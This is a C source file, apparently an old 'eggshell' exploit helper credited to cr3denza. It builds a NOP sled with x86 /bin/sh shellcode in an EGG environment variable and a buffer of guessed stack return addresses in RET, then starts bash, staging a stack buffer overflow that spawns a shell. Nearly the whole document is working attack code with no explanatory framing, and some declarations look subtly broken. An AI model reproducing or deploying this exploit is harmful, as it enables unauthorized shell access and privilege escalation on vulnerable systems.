eggshell.c ~ cr3denza

	#include <stdlib.h>
	#define DEFAULT_OFFSET 0
	#define DEFAULT_BUFFER_SIZE 512
	#define DEFAULT_EGG_SIZE 2048
	#define NOP 0x90

	char shellcode[] =

	"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
	"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
	"\x80\xe8\xdc\xff\xff\xff/bin/sh";


	unsigned long get_esp(void) {
	__asm__("movl %esp,%eax");
	}

	int main(int argc, char *argv[]) {
	char buff, ptr, *egg;
	long *addr_ptr, addr;
	int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
	int i, eggsize=DEFAULT_EGG_SIZE;

	if (argc > 1) bsize = atoi(argv[1]);
	if (argc > 2) offset = atoi(argv[2]);
	if (argc > 3) eggsize = atoi(argv[3]);


	if (!(buff = malloc(bsize))) {
	printf("Can't allocate memory.\n");
	exit(0);
	}
	if (!(egg = malloc(eggsize))) {
	printf("Can't allocate memory.\n");
	exit(0);
	}

	addr = get_esp() - offset;
	printf("Using address: 0x%x\n", addr);

	ptr = buff;
	addr_ptr = (long *) ptr;
	for (i = 0; i < bsize; i+=4){
	if(i == 1040){
	*(addr_ptr++) = 0x1234567;
	}else
	*(addr_ptr++) = addr;
	}
	ptr = egg;
	for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
	*(ptr++) = NOP;

	for (i = 0; i < strlen(shellcode); i++)
	*(ptr++) = shellcode[i];

	buff[bsize - 1] = '\0';
	egg[eggsize - 1] = '\0';

	memcpy(egg,"EGG=",4);
	putenv(egg);
	memcpy(buff,"RET=",4);
	putenv(buff);
	system("/bin/bash");
	}

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